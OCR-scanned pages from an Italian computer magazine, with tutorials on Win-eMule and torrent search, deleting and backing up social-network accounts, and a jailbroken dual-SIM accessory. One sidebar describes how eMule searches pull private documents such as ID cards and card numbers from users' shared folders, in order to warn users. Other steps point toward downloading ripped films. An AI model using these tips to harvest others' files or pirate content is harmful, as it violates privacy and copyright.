apriamo la scheda PUPe nei menu Se l’azione 
fallisce selezioniamo Chiedi nel primo ed Eli¬ 
mina nel secondo. 


* Blocchiamo ogni minaccia 

3 ; Apriamo il tab Sospetti e dal primo 
menu a tendina selezioniamo Ripara 
come prima azione da compiere nel caso di rile¬ 
vamento di file potenzialmente pericolosi. Come 
seconda azione, impostiamo l’opzione Sposta 
nel cestino. Infine, come terza azione, selezio¬ 
niamo la voce Chiedi. 



a server sicuri 


Sulla rete eDonkey a cui si collega Win-eMule è facile imbattersi in server inaffidabili pieni di “spazzatura” che 
intasa solo i nostri download. Ecco dunque la procedura da seguire per scaricare esclusivamente da nodi testati. 





^ i Ecco la nostra lista 

■J | Tornati nell’interfaccia principale di Win- 
eMule clicchiamo Attiva server sicuri. Si 
aprirà una piccola finestra popup. Apriamo l’uni¬ 
co menu a tendina URL presente al suo interno e 
selezioniamo il server http://www.winmagazine. 
it/link/1625 oppure uno degli altri presenti. 


Anche per utenti Fastweb 

2 | Se abbiamo sottoscritto un contratto ADSL 
W -J col noto operatore Internet, spuntiamo la 
casella Fastweb posta di fianco al'menu URL e 
selezioniamo uno dei server dedicati a questa rete. 
Dopodiché, clicchiamo Aggiorna per cancellare la 
vecchia lista dei server e aggiornarla con i nuovi. 


▲ I 


Scegliamo un server 


3 Tornati nella schermata principale di Win- 
eMule non dobbiamo fare altro che selezio¬ 
nare uno dei server sicuri disponibili nella sezione 
Nome server (ab esempio eDonkeyServer No2), 
cliccarci sopra due volte per collegarci ai nodi della 
rete eDonkey e iniziare a scaricare. 
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Pirati del PCC^ 


a Download mirati e veloci 

Con le keyword di ricerca che abbiamo integrato nella nuova versione di Win-eMule e applicando i filtri giusti 
possiamo scovare al volo i file che ci interessano, per poi scaricarli solo da fonti complete. 
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* Cosa vuoi cercare? 

•\ I Una volta avvenuto il collegamento col server eDonkey prescelto, 
w dall'interfaccia principale di Win-eMule cucchiamo sul pulsante Cer¬ 
ca in alto a sinistra. Nella nuova schermata che appare scriviamo nel campo 
Nome una descrizione per il file che vogliamo scaricare dalle reti P2P. 



a Le keyword giuste 

2 ! In Win-eMule 2013 appare ora il pulsante keywords che permette di 
>mmJ accedere ad una lista di parole chiave utili per ottimizzare le ricerche 
sui server eDonkey, cucchiamoci sopra. Nella schermata che appare apria¬ 
mo il menu a tendina, scegliamo una keyword e confermiamo con Inserisci. 



^ Tutte quelle che servono 

3 I La parola chiave scelta verrà automaticamente aggiunta alla descrizio- 
ne del file da scaricare che abbiamo digitato nel campo Nome (Pas¬ 
so E1). Ripetiamo la stessa operazione per aggiungere nuove keyword utili 
a cercare, ad esempio, video in italiano (ITA) e in alta definizione (BDRIP). 



^ j Spulciamo tra i server 

Q I Dal menu Metodo scegliamo la fonte su cui effettuare la ricerca: con 
Server cercheremo solo su quelli cui siamo connessi, con Globale 
(Server) useremo quelli in lista e, infine, con Web useremo un motore di ricer¬ 
ca. Effettuata la nostra scelta, possiamo cliccare sul pulsante Inizia. 


Ricerche mirate 

4 I Per filtrare ulteriormente le ricerche dei contenuti che ci interessano 
* sui server di Win-eMule, compiliamo anche gli altri campi presenti nel¬ 
la finestra Cerca. Se vogliamo scaricare ad esempio una distribuzione Ubuntu 
Linux, in Tipo selezioniamo Immagini-CD come tipologia di file. 


tS Win-eMule - Win Magatine edition vl.2e 
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Servers 
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Download* 

Cerca 

a* fi? éP> 

Condivisi Messaggi IRC 
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Dim mm. (MB) Dispontoétà 

Ubuntu 




3000 

Tipo 


Metodo 
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|lmmagn«CD (.so .bri .nrg 

■ * Js»»» 

» ISO 

Risultati ricerca 



Resetta J 

Ubuntu (IO) 

_ 





Font Tpo 


Con l’estensione si fa prima 

0 j Se cerchiamo un’immagine NRG (creata con Nero) di Ubuntu, nel 
1 campo Estensione digitiamo NRG. Se cerchiamo invece FISO in DVD, 
digitiamo 3000 nel campo Dim. Min. [MB] e ISO in Estensione. Avviamo il 
download con un doppio clic sul file che ha il maggior numero di Fonti. ► 
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| eMule 2013: nuova versione! 



Stiamo alla larga dai fake 


In Win-eMule 2013 è disponibile una funzione molto utile che permette di scoprire in anticipo se il contenuto 
dei video che stiamo scaricando è quello che cercavamo, oppure se si tratta di altro. Vediamo come funziona. 



Scene* quoto filo do tutti 9(1 AàAF 


T” 

H" 

Senei* 

^ ^ # *> 0 H 

Download! Cerci Condivisi M«s*gg> IRC Stetwbch* 

Profferire 

WfelJ 

t«b»i 

cmtFiq 

1 A A. a 


Dimwv. Tiesferei Correte... Velocità Av«nr»m*n»o 

Fonti Priorità *1 



^ Analizziamo i video in download 

■f | Scelto il file da scaricare, spostiamoci nella sezione Download pre- 
wJ sente nell’interfaccia principale di Win-eMule e selezioniamo col tasto 
destro del mouse il nome del video. Dal menu contestuale che appare cuc¬ 
chiamo Avanzate/Win-eMule:ModuloAnti-fake e non preoccupiamoci se 
apparentemente non succederà nulla. 


^ Guardiamoci l’anteprima 

2 1 Win-eMule inizierà a scaricare le parti iniziali e finali del video. Lascia- 
mo che il software faccia il suo dovere. Dopo un po', clicchiamo di 
nuovo col tasto destro del mouse sul file e, se compare nel menu contestuale, 
selezioniamo Anteprima per avviare VLC media player (già installato nel PC) 
e visualizzare la preview del video. 


PRESTIAMO ATTENZIONE ALLE CARTELLE CONDIVISE 


Nell'immaginario comune un pirata in¬ 
formatico deve necessariamente avere 
eccellenti conoscenze tecniche, ma non 
è sempre così. Molte delle malefatte 
che i pirati riescono a mettere in atto 
richiedono operazioni e strumenti tanto 
banali da essere alla portata di tutti. 
Nelle mani di un pirata anche eMule 
può diventare un eccellente strumen¬ 
to per violare la privacy degli utenti, 
spesso con risultati che vanno oltre 
ogni aspettativa. Utilizzando termini 
di ricerca mirati, il Mulo restituisce cen¬ 


tinaia di documenti riservati che a quel 
punto possono essere facilmente scari¬ 
cati (selezionandoli col tasto destro del 
mouse e cliccando su Esplora nel menu 
contestuale che appare, il pirata riesce 
addirittura ad accedere al contenuto 
dellìntera cartella condivisa). Basta una 
semplice prova per accorgersi di quanto 
sia semplice entrare in possesso di mate¬ 
riale riservato come: estratti conto, carte 
d'identità, numeri di carte di credito, fat¬ 
ture, dati aziendali, bollette telefoniche 
(con tanto di tabulati), indirizzi e-mail e, 


Preferenze -> Genereie -> Cartelle 
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addirittura, i questionari del censimen¬ 
to che gli italiani hanno compilato lo 
scorso anno. La causa di tutto ciò non 
è imputabile ad eMule, semmai è chi lo 
utilizza che deve prestare più attenzione 
a ciò che condivide. Per impostazione 
predefinita, infatti, eMule condivide 
solo i file presenti nella cartella Inco- 
ming: tuttavia, è possibile aggiungere 
qualunque altra cartella presente nel 
disco rigido e, strano ma vero, c'è chi 
ha la brillante idea di mettere in condi¬ 
visione l'intera partizione di sistema o 
anche solo directory dove, insieme ai file 


destinati alla condivisione, sono salvate 
altre tipologie di documenti che inve¬ 
ce dovrebbero rimanere strettamente 
personali. Sperando che i dati di cui 
siamo entrati facilmente in possesso 
(a scopo didattico, ovviamente) non 
siano i nostri, è meglio sincerarci su quali 
cartelle condividiamo con gli altri utenti 
del Mulo. Per farlo avviamo Win-eMule, 
clicchiamo su Preferenze, spostiamoci 
in Generale/Cartelle e rimuoviamo la 
spunta da tutte quelle che non devono 
assolutamente essere condivise, confer¬ 
mando poi con un clic su OK. 
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a Più spediti coi magnet link 

Sui server eDonkey non riusciamo a trovare quel che cercavamo? Nessun problema! Basta avviare pTorrent 
direttamente da Wln-eMule e affidarci ai “link magnetici” e a un eccellente servizio di ricerca integrato. 





^ Tutti i link che vuoi 

■J Da Win-eMule clicchiamo Sblocca uTor- 
w reni Awiato il Client (già installato nel PC) 
e accediamo a Opzioni/lmpostazioni. Espandia¬ 
mo la voce Avanzate. selezioniamo Extras IU, 
cancelliamo il contenuto della sezione Motori di 
ricerca e digitiamo kat\http://www.kat.ph/use- 
arch/ Clicchiamo Applica e chiudiamo con OK. 


Attirati dal magnete 


2 1 Digitiamo il nome del file da cercare nel- 
W la casella di ricerca (ad esempio Ubuntd) 
e premiamo Invio. I risultati verranno visualizza¬ 
ti in una scheda del browser. Scorriamo l’elenco 
e, individuato il file che ci interessa, clicchiamo 
sul pulsante che raffigura una calamita ( Torrent 
magnet link). 


E vai col download 

La prima volta che effettuiamo questa 
operazione ci verrà chiesto di indicare con 
quale applicazione gestire i magnet link. Selezio¬ 
niamo pTorrent. spuntiamo la casella di controllo 
Ricorda questa scelta per i link magnet e clic¬ 
chiamo OK. Torniamo in pTorrent: confermando 
con OK avvieremo il download del file. 




Aggiornamenti continui 


Creando un feed RSS personalizzato, potremo ricevere aggiornamenti sui nuovi file condivisi appartenenti 
a determinati criteri di ricerca. Avviare il download sarà solo questione di un clic del mouse. 



^ Cosa ci interessa? 

■J ) Avviamo il browser Web e colleghiamoci a 
www.kat.ph. Digitiamo il termine di ricer¬ 
ca nella casella in alto (ad esempio, Linux) e pre¬ 
miamo Invio. Per affinare ulteriormente le ricerche 
clicchiamo Advanced search e indichiamo ulterio¬ 
ri parametri che filtreranno i contenuti per tipolo¬ 
gia o lingua. 


^ Ecco il nostro feed 

2 | Subito sopra i risultati di ricerca è pre- 
sente il collegamento al feed RSS del¬ 
la ricerca appena effettuata. Clicchiamoci sopra 
con il tasto destro del mouse e selezioniamo 
Copia indirizzo. Passiamo a pTorrent, clicchia¬ 
mo su File/Aggiungi sorgente RSS e incolliamo 
il link nel campo URL sorgente. 


Download del giorno! 

J 1 Spuntiamo Alias Personalizzato, asse- 
W gniamo un nome alla sorgente e clicchia¬ 
mo OK. Spostiamoci nella sezione Sorgenti RSS. 
Qui saranno notificati i nuovi file condivisi nella 
categoria prescelta. Per avviare il download è suf¬ 
ficiente eseguire un doppio clic sul nome del file e 
confermare con OK. 
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Facebook 


Facebook & Co. 
mi avete stufato! 

Vogliamo cancellarci per sempre dai social network? 
Ecco i trucchi per far sparire ogni nostra traccia sul Web 



WEB 2.0 SUICIDE 
MACHINE 

Si tratta di una ISO di un 
sistema Linux avviabile 
da DVD. Mediante una 
procedura guidata, sarà 
possibile eliminare le 
nostre tracce sul Web. 
Quanto costa: Gratuito 
Sito Internet: 
www.winmagazine.iV 
link/1616 


C ancellarsi da Facebook, piuttosto che 
da Twitter, Google+ e Live Messenger, è 
un'ipotesi che si sta diffondendo a mac¬ 
chia d’olio tra gli internauti. 1 motivi sono molte¬ 
plici: si va dall’applicazione di condizioni d’uso 
quasi sempre unilaterali e sempre a favore del 
servizio, all’applicazione di una licenza di non 
esclusiva dei contenuti immessi. Senza contare il 
fatto che detti servizi possono eliminare il nostro 
account in qualsiasi momento e senza preavviso. 
Controversi, tra l’altro, sono i comportamenti 
del patron di Facebook, Mark Zuckerberg, ma 
anche dei responsabili di TVvitter, specie in tema 
di violazione della privacy e della diffusione dei 
dati personali per vari scopi. 


I social network hanno quindi sollevato una 
questione scottante che coinvolge ormai tutti 
gli internauti del mondo, infastiditi daU’utilizzo 
di automatismi che a volte non rispettano le 
regole sociali stabilite dagli utenti, rendendo 
pubbliche informazioni prima riservate a po¬ 
chi. Non parliamo poi del fatto che numerose 
informazioni, in alcuni casi, possono venire 
anche diffuse a scopo pubblicitario, cosa fa¬ 
stidiosa pensando al fatto che spesso i dettagli 
personali sono ritenuti confidenziali. Mettia¬ 
moci anche che i nostri dati sono sottoposti alla 
mercé di vari sviluppatori e malintenzionati 
che tentano di bucare i vari profili social e il 
quadro è completo! 


Voglio darci un taglio! 

Se queste ragioni o altre non meno importanti 
ci hanno convinto nella determinazione di 
cancellarci da questi servizi Web, è bene sapere 
che conviene procedere con molta cautela. Di 
seguito troviamo una serie di trucchi e con¬ 
sigli pratici ed utili per farlo nella maniera 
corretta, evitando di disattivare solamente 
gli account e lasciando che i nostri contenuti 
(post, fotografie, video ecc.) siano conservati 
e sempre a disposizione dei social network. 
Ecco dunque le procedure corrette da seguire 
per sparire da Facebook, Twitter e Google+ e 
quali precauzioni prendere per eliminare le 
nostre tracce dal Web. 



SALUTIAMO 

L’UCCELLINO 

La cancellazione da Twitter è un 
po’ più semplice rispetto a quella 
da Facebook. Prima di procedere, 
meglio dare una ripulita ai nostri 


Ciccando sull’icona che rappresen¬ 
ta la sagoma di un uomo, in alto a 
destra nella barra dei menu di Twit¬ 
ter, entriamo nella sezione da cui è 
possibile gestire le varie Imposta¬ 
zioni dell’account. In fondo alla pa¬ 
gina troviamo l'opzione Disattiva il 
mio account: cliccandoci su, venia- 


IN CASO DI 
RIPENSAMENTI... 

Anziché scoraggiarci con l’arma 
della irreversibilità dell’opera¬ 
zione, come fa Facebook, Twitter 
prova a convincerci a non can¬ 
cellare il nostro account usando 
l'arma del pentimento! 




ELIMINARE IL 
PROFILO DI G00GLE+ 


Per quanto riguarda il social network di 
Google, la cancellazione è un’operazione 
semplice. Bastano pochi die per comple¬ 
tare l’operazione. 

Con la seguente procedura, è possibile 
cancellarsi sia da Google+ sia dall’account 
Google e, di conseguenza, da tutti i servi¬ 
zi che abbiamo sottoscritto. Per farlo, ba¬ 
sta autenticarsi in Google+ (https://plus. 
google.com/) o in GMail (www.gmail.com) 
e recarsi nella pagina delle impostazioni del 
nostro account. Cucchiamo in alto a destra 
nella home page del servizio sull'icona as¬ 
sociata al nostro profilo, quindi selezionia¬ 
mo Impostazioni account dal menu a ten¬ 
dina che appare. Verrà così caricata la pa¬ 
gina Accounts : scorriamola verso il bas¬ 
so. In fondo, troviamo due link, il primo per 
l’eliminazione del profilo di Google-*- (Eli¬ 
mina il profilo e rimuovi le funzioni Goo- 
gle+ associate, il secondo per la disatti¬ 
vazione dell’account Google e servizi sotto- 
scritti (Chiudi l’intero account ed elimina 
tutti i servizi e le informazioni associate). 
Cliccando sul primo link, nella pagina suc¬ 
cessiva possiamo scegliere se disattivare 
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FACCIAMO UNA COPIA 
DEL PROFILO 

Prima di fare qualsiasi cosa con 
il nostro account Facebook, ma 
anche e soprattutto dopo avere 
cancellato tutti i contributi, può 
essere molto utile richiederne una 
copia al social network. 



Dalla home page del nostro profilo 
sul social network, in alto a destra, 
clicchiamo su Impostazioni account. 
Nella pagina seguente, in fondo, clic¬ 
chiamo sul link Scarica una copia 
dei tuoi dati di Facebook. Verremo 
così reindirizzati su una nuova pagi¬ 
na Web: clicchiamo sul pulsante Av¬ 
via ai mio archivio per ricevere via 
e-mail un archivio con tutti i conte¬ 
nuti postati sulla bacheca. 


a tutte le nostre attività, è opportuno 
eseguire un backup completo del 
nostro profilo sul social network. 

Dalla nostra home page su Facebo¬ 
ok clicchiamo in alto a destra sulla 
freccetta di fianco al pulsante Home 
e selezioniamo la voce Impostazio¬ 
ni account dal menu a tendina che 
appare. Nella schermata successiva 
spostiamoci nella sezione Cosa non 
include il tuo archivio? e clicchia¬ 
mo sul link archivio esteso. Ci verrà 
chiesto di immettere la password di 
autenticazione al nostro profilo Face¬ 
book: completata la fase di riconosci¬ 
mento, clicchiamo sul pulsante Av¬ 
via al mio archivio. Riceveremo tut¬ 
ti i nostri dati tramite posta elettro¬ 
nica, trascorso il periodo di tempo 
necessario affinché l'archivio venga 
confezionato, cosa che può richiede¬ 
re anche diversi giorni (dipende, ov¬ 
viamente, da quanto intensa è stata 
la nostra attività sul social network). 


MEGLIO ESEGUIRE 
UN BACKUP ESTESO 

Su Facebook, si sa, pubblichiamo 
foto e contenuti video, ma anche 
commenti, eventi e tanto altro 
ancora. Per mantenere una copia 
completa della cronologia inerente 



SEMPLICI OPERAZIONI 
PRELIMINARI 

Prima di procedere con la soppres¬ 
sione del nostro account Facebook, 


a livello precauzionale è convenien¬ 
te rimuovere tutti i contributi che 
nel tempo abbiamo immesso: stati, 
note, foto ecc. Ecco come. 



Per l’eliminazione delle foto, possia¬ 
mo cancellare i vari album fotogra¬ 
fici direttamente dalla relativa sezio¬ 
ne. In particolare, dalla pagina prin¬ 
cipale del nostro diario (o della ba¬ 
checa), clicchiamo sul pulsante Fo¬ 
to. Nella pagina che si apre clicchia¬ 
mo ancora sull’anteprima relativa ai 
vari fotoalbum. Nella schermata Foto 
bacheca selezioniamo Modifica al¬ 
bum. Nella nuova finestra clicchiamo 
Elimina album (l'icona a forma di ce¬ 
stino in alto a destra). Lo stesso pos¬ 
siamo fare per quanto riguarda pa¬ 
gine, note e per le cancellazione da 
eventuali gruppi. Per gli stati, invece, 
è sufficiente selezionarli muovendoci 
sulla timeline del nostro diario e clic¬ 
care sul pulsante Modifica o rimuovi. 
Dal menu contestuale, scegliamo la 
voce Elimina. Procediamo in questo 
modo per eliminare dal nostro diario 
tutte le voci presenti, in maniera che, 


almeno ufficialmente, Facebook non 
abbia più nessun dato che ci riguar¬ 
da. Pian piano, risaliamo la timeline, 
cancellando i vari stati creati da noi 
o dai nostri amici sul diario, fino ad 
arrivare alla data attuale, nella parte 
alta del diario. 


ADDIO PER SEMPRE 

Strano ma vero, cancellarsi da 
Facebook non è così immediato 
come si potrebbe pensare. Trovare 
la pagina da cui procedere a questa 
operazione richiede un bell’impe- 
gno. Ma la ricompensa finale sarà 
la totale cancellazione dal social 
network! 



Innanzitutto, colleghiamoci all’indi¬ 
rizzo www.winmagazine.it/link/1615. 
Nella pagina troviamo il pulsante 
Elimina il mio account, cliccando 
sul quale il social network provvede 
ad eliminare l’account e a render¬ 
lo irraggiungibile ai nostri amici. Un 
messaggio ci avviserà che non sarà 
più possibile ripristinarlo in seguito 
all’eliminazione. 


soltanto il profilo Google+ o l'intero account 
Google. Scegliamo la voce che ci interessa 
e spuntiamo la casella Obbligatorio. A que¬ 
sto punto, clicchiamo sul pulsante Rimuovi 
servizi selezionati. È bene ricordare come 
in ambo i casi sia meglio prima dare una ri¬ 
pulita ai dati contenuti nel social network o 
nei vari servizi di Google. L’eliminazione dei 
profili, infatti, non prevede la cancellazione 
delle informazioni contenute. 

Jifl ABBANDONIAMO 
ANCHE MSN & LIVE 

Per quanto riguarda i servizi Microsoft, 
quali MSN, Hotmail e Live Messenger, 
l’eliminazione dell’account può essere 
eseguita dalla pagina di autenticazione 


del servizio Live ID. Prima, però, l’utente 
deve recarsi nei vari servizi utilizzati e pro¬ 
cedere all’eliminazione dei vari contenuti 
presenti in ciascun servizio. 

Cancellate le e-mail e la cronologia delle 
Chat, rechiamoci alla pagina https://login. 
wlive.com e autentichiamoci con il nostro 
usemame e la password. Nell’area Altre op¬ 
zioni troviamo il link Chiudi il tuo account suI 
quale clicchiamo per procedere. Una volta 
fatto l’accesso alla pagina di cancellazione 
del nostro account Live di Microsoft, se ab¬ 
biamo eliminato i dati dei vari servizi da noi 
impiegati, possiamo procedere alla disatti¬ 
vazione dell'account immettendo la nostra 
password, nella casella in fondo alla pagi¬ 
na, e cliccando sul pulsante Sì. Ciò fatto e 
confermata la cancellazione, non sarà più 


possibile accedere ai nostri account Hot¬ 
mail e Live Messenger. Ecco perché è im¬ 
portante eliminare (o eventualmente effet¬ 
tuare un backup) i dati prima di cancellare 
il proprio Live ID. 
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Si fa così 


Adesso telefoni 
anche con l’iPad! 


Cosa ci 
occorre 


INTERFACCIA DUAL SIM 

SKYROAM GMATE+ 

Quanto costa: €11495 
Sito Internet 

www.speeka.com 


Ecco come trasformare riPhone in dual sim e aggiungere 
il modulo 3G all'iPad 


I gioiellini di casa Apple hanno sempre fatto 
gola a gran parte del pubblico e chiunque 
abbia la fortuna di poter acquistare un iPad, 
un iPhone o anche un iPod Touch ne resta stre¬ 
gato, sia per il design sia per le funzionalità. Ma 
manca ancora quel qualcosa che potrebbe ren¬ 
derli realmente perfetti... Pensiamo, ad esem¬ 
pio, a quanto potrebbe essere comodo avere 
sempre in tasca un iPhone dual SIM. Eviterem¬ 
mo di tenere sempre a portata di mano un se¬ 
condo cellulare che sicuramente non avrebbe 
le stesse prestazioni dell'amato melafonino. Sa¬ 
rebbe inoltre fantastico poter ricevere o effet¬ 
tuare nuove chiamate direttamente dall'iPad 
che, nonostante abbia funzionalità 3G, come 


ben sappiamo non permette neppure l'invio 
di un semplice SMS, se non ad altri device Ap¬ 
ple. Stesso discorso vale per l'iPod Touch 4. Cer¬ 
to, queste sono tutte fantasie che magari sono 
già nella mente dei progettisti di Cupertino, ma 
perché aspettare il futuro e non tramutarle su¬ 
bito in realtà? A rispondere ai nostri desideri, 
non ci pensa la lanterna magica ma lo Skyroam 
Gmate+, un dispositivo piccolo, leggero e sot¬ 
tile, da interfacciare con il nostro iPhone, iPod 
Touch 4 e iPad. Ci basterà attivare l'interfaccia 
Bluetooth e scaricare la giusta app per trasfor¬ 
mare in pochi secondi il nostro iPhone dual 
SIM o per attivare le funzionalità telefoniche 
al nostro iPad o iPod Touch 4. L'unico requisito 


è il jailbreak: l’app è infatti presente esclusiva- 
mente sul market alternativo Cydia. 

Anche per Android 

E se siamo in possesso di uno smartphone o 
di un tablet Android? Niente paura! Lo Skyro¬ 
am Gmate+ è perfetto anche su tutti i termi¬ 
nali equipaggiati con il sistema operativo di 
Google. Anzi, rispetto all'iPhone, iPod Touch 4 
e iPad, in questo caso diventa tutto molto più 
semplice. L'applicazione che permette di inter¬ 
facciare il Gmate+ con il nostro telefonino o ta¬ 
blet è infatti liberamente scaricare dal Play Sto- 
re. Non perdiamo altro tempo, allora: abbiamo 
uno smartphone da... hackerare! 


Android e Gmate: coppia vincente 

Colleghiamo lo Skyroam allo smartphone Android e trasformiamolo in un telefono Dual SIM. Con una procedura 
simile possiamo ricevere o effettuare chiamate anche dai tablet targati Google. 



Un salto nel Plav Stare 

B Dal nostro smartphone o tablet Android, 
attiviamo la connessione a Internet e 
accediamo al Play Stare. Ricerchiamo 
l’app gratuita Skyroam Gmate. Confermiamo con 
Scarica e successivamente con Accetta e scarica. 
Attendiamo quindi la fine del download. 


Tutto via Bluetooth! 


H AI termine, avviamo l’app installata e 
tappiamo S/per attivare la connettività 
Bluetooth del telefonino o del tablet. 
Accendiamo il Gmate-t- e attendiamo che Android 
lo rilevi. Quando richiesto, inseriamo il PIN di 
sicurezza 1234 e confermiamo con OK. 


Chiamata in corso... 

Stabilita la connessione, il Gmate-t- vi¬ 
brerà per un secondo. Lo smartphone o 
il tablet possono quindi usare anche con 
la SIM inserita nel Gmate+. Per avviare una nuo¬ 
va chiamata, spostiamoci in Pilone, scegliamo il 
contatto da chiamare e confermiamo con Diai. 
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L’iPad si trasforma in iPhone 

Ecco come effettuare e ricevere chiamate anche dall’iPad o dall’iPod Touch 4. Grazie allo Skyroam Gmate+, inoltre, 
possiamo anche trasformare l’iPhone in un telefonino Dual SIM. 



Si passa da Cvdia 

Dal nostro iPad, iPhone o iPod Touch 4 
jailbreakkato, awiamo Cydia e cucchiamo 
su Sorgenti. Tappiamo quindi su Modifica 
e successivamente su Aggiungi. Compiliamo il cam¬ 
po URL della sorgente con http://rn.skyroam.com/ 
cydia e confermiamo con Aggiungi repo. 


La giusta app 

Possiamo ora spostarci nel tab Cerca e 
digitare com.simo.skyroam. Avviamo il 
download dell'applicazione con un tap su 
Installa, attendiamo qualche secondo affinché l’ope¬ 
razione venga terminata. Possiamo quindi chiude¬ 
re Cydia e avviare Gmate dal menu principale. 


Sincronizziamo il Gmate+ 

Tappiamo sul pulsante Search e accendia¬ 
mo il nostro Gmate-t- affinché venga rile¬ 
vato dall'app. Quando richiesto, inseriamo 
il PIN di protezione 1234 e confermiamo con OK. Il 
Gmate+ emette quindi una vibrazione di un secon¬ 
do per confermare l'awenuta connessione. 






Tutti al telefono! 

0 Appare quindi l’interfaccia grafica princi¬ 
pale dell’app. In ogni momento possiamo 
attivare o disattivare la connessione con il 
Gmate+ semplicemente tappando sul pulsante 
posto di fianco a Connection State. Per avviare una 
nuova chiamata, spostiamoci nel tab Keypad. 


Chiamata in arrivo 

All’arrivo di una nuova chiamata, appare 
un’interfaccia simile a quella dell’iPhone. 
Nel caso in cui stessimo usando il Gmate+ 
con un iPad 2 o col nuovo iPad (dotati quindi di 
microfono integrato) possiamo evitare di collegare 
auricolari e microfono al jack 3,5 mm. 


Inviamo un SMS 

Se vogliamo inviare un nuovo messaggio 
di testo utilizzando la SIM inserita nello slot 
del Gmate+, spostiamoci nel tab SMS e 
compiliamo il campo To col numero di telefono o il 
nome del contatto presente in rubrica. Inseriamo il 
testo che preferiamo e confermiamo con Send. 





Ma ggiore sicurezza! 

Dalla home screen dell'applicazione, tap¬ 
piamo su Settings e successivamente su 
Gmate Setting. Clicchiamo quindi su Chan- 
ge PIN per cambiare il codice di sicurezza di default 
(1234) e inserirne uno personalizzato e più sicuro. 
Terminiamo con un tap sul pulsante Done. 


Un a nuova suoneria 

Sempre nel menu Settings dell’app Gma¬ 
te possiamo scegliere di cambiare la suo¬ 
neria per le chiamate in arrivo dalla SIM 
inserita nel Gmate+. Per farlo, tappiamo su Sounds 
e successivamente su Ringtone Setting. Effettuiamo 
la nostra scelta e terminiamo con Done. 


Anche per navigare 

0 Se stiamo usando un iPad Wi-Fi possiamo 
sfruttare il Gmate+ per navigare in GPRS. 
Da Settings, spostiamoci in Internet Setting/ 
APN Setting. Inseriamo i parametri del gestore te¬ 
lefonico e confermiamo con Done. Attiviamo la 
connessione a Internet dalla home screen dell’app. 
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Social network in cassaforte 


Social network in cassaforte 


V Come posso mettere al sicuro foto, video e dati 

archiviati nel mio profilo Facebook? 

•/ Voglio cancellare il mio account, esiste un modo 

per effettuare un backup prima di procedere? 


SERVE A CHI... 

.. .vuole esportare il proprio profilo 
Facebook mettendo al riparo i dati 
da eventuali perdite 


L a perdita dei dati è un evento traumatico 
e, purtroppo, chi utilizza un PC, prima o poi 
finisce per affrontare quest'esperienza. L'inco¬ 
lumità dei dati non viene garantita da nessun 
supporto, per cui l'unico modo per porre rime¬ 
dio alla catastrofe informatica più grave che 
esista, è ricorrere a backup frequenti da tenere 
al sicuro su più supporti. Nonostante offrano 
livelli di sicurezza molto elevati, anche i server 
dei siti Internet sono a rischio, e ora che buona 
parte della nostra vita informatica è conservata 
sul Web, vedersi azzerare un account potrebbe 
significare una perdita di dati e informazioni più 
grave di quanto accadrebbe se s'incendiasse 
l'hard disk del nostro PC. Da semplice social net¬ 
work, Facebook può ormai essere considerato 


alla stregua di un archivio remoto che conserva 
buona parte della nostra storia personale. Le 
foto, i video, i contatti, i messaggi e tutte le altre 
informazioni che abbiamo aggiunto negli anni 
al nostro profilo, molto spesso sono conservati 
solo nei server di Facebook, dove un qualunque 
problema può trasformarsi nella totale dipartita 
dei nostri dati. 

Profilo archiviato 

Le cause che possono portare alla perdita dei 
dati conservati nel nostro account Facebook 
sono tante. Oltre a guasti hardware e attacchi 
diretti ai data center del social network, il nostro 
profilo potrebbe essere preso in ostaggio da 
hacker che ci rubano la password di accesso o 
venire bannato in seguito alla violazione del 
regolamento. Anche se possiamo creare un 
nuovo profilo, nulla ci ridarà i contatti e i conte¬ 
nuti che avevamo collezionato con tanta fatica. 
Come accade per file e documenti archiviati nel 
nostro PC, ci accorgiamo di quanto sia impor¬ 
tante un backup solo quando ormai è troppo 


Facciamo il backup della nostra vita digitale 



» 


1 Colleghiamoci a www.facebook.com/set- 
tings. Effettuato l'accesso al nostro profilo 
ci ritroveremo nella sezione Impostazioni ac¬ 
count di Facebook. Clicchiamo sul collegamen¬ 
to Scarica una copia, digitiamo la password 
del nostro profilo e clicchiamo su Avvia il mio 
archivio. 



2 11 tempo necessario affinché il backup ven¬ 
ga generato spazia da pochi minuti a un 
paio d'ore. Il link per accedere all’archivio sarà 
recapitato al nostro indirizzo e-mail: clicchiamo 
quindi sul collegamento, inseriamo nuovamen¬ 
te la password del nostro profilo e facciamo 
clic su Continua. 


tardi. Eppure, creare un backup di tutto ciò 
che abbiamo condiviso sul social network di 
MarkZuckerberg è un'operazione banalissima. 
Non c'è bisogno di software o procedure par¬ 
ticolari, gli strumenti sono sotto i nostri occhi 
e ci consentono di esportare informazioni del 
profilo, post, foto, video, contatti, messaggi e 
commenti. Spendendo solo pochi minuti pre¬ 
serveremo il nostro profilo Facebook da tutti i 
rischi accennati pocanzi; inoltre, l'operazione 
può esserci d'aiuto anche nel caso in cui volessi¬ 
mo cancellare definitivamente il nostro account 
portando con noi tutto ciò che custodisce. 


LA PRUDENZA NON E MAI TROPPA 

I dati pubblicati sul propria profilo Facebook sono stret¬ 
tamente personali, ragion per cui, oltre alla password, 
qualora si tenti di scaricare l'archivio utilizzando un 
dispositivo non riconosciuto, all'utente sarà richiesta una 
ulteriore verifica. Per assicurarsi che il processo sia stato 
avviato dal legittimo proprietario dell'account, Facebook 
chiede all'utente di riconoscere 5 amici tramite i tag delle 
foto. Se si commette un errore, la procedura può essere 
ripresa solo dopo aver digitato il codice CAPTCHA inviato 
via SMS al numero di cellulare collegato all'account. 



3 Con Scarica archivio avvieremo il down¬ 
load del backup. Scompattiamo l'archivio 
e facciamo doppio clic sul file index.html. An¬ 
che se si apre nel browser, la pagina mostra le 
informazioni contenute nel backup. Con Pro¬ 
filo, Bacheca, Foto ecc. navigheremo nei dati 
del nostro profilo. 
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C’è un “trucco” (molto discusso!) 
per installare e usare gratis le 
versioni commerciali dei software 


■ Guido Scorza è uno 
dei massimi esperti 
in Diritto delle Nuove 
Tecnologie 


L a notizia bomba che ha movimentato il 
mondo del Web in questo inizio di 
anno è stata l’assoluzione, da parte del 
Tribunale di Bologna, di un architetto che 
aveva installato sui suoi computer software 
pirata. Secondo questa sentenza, tutti i li¬ 
beri professionisti possono utilizzare pro¬ 
grammi commerciali privi di li cenza senza 
commettere alcun reato. E per noi comuni 
cittadini, semplici utilizzatori di computer, 
vale lo stesso principio? Per chi non mastica il 
legalese, la risposta non è così immediata. Per 
comprendere la reale portata della sentenza, 
abbiamo quindi contattato lo Studio Legale 
che ha preso le difese dell’architetto e chiesto 
un parere all’avvocato Guido Scorza, sicura¬ 
mente più avvezzo a districarsi tra le pieghe 
della Giustizia. Ecco il suo parere. 

